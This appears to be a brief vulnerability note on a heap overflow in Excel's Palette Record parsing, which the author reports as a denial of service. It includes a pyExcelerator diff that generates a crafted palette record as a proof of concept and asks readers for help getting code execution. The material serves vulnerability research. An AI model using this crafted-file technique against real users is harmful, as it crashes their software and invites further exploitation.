Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow

Attack Vector

Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

Result
######
DOS

Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack('<H', 0x0038) # number of colours
> self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py

< result = ''
< return result

> return BIFFRecords.PaletteRecord().get()
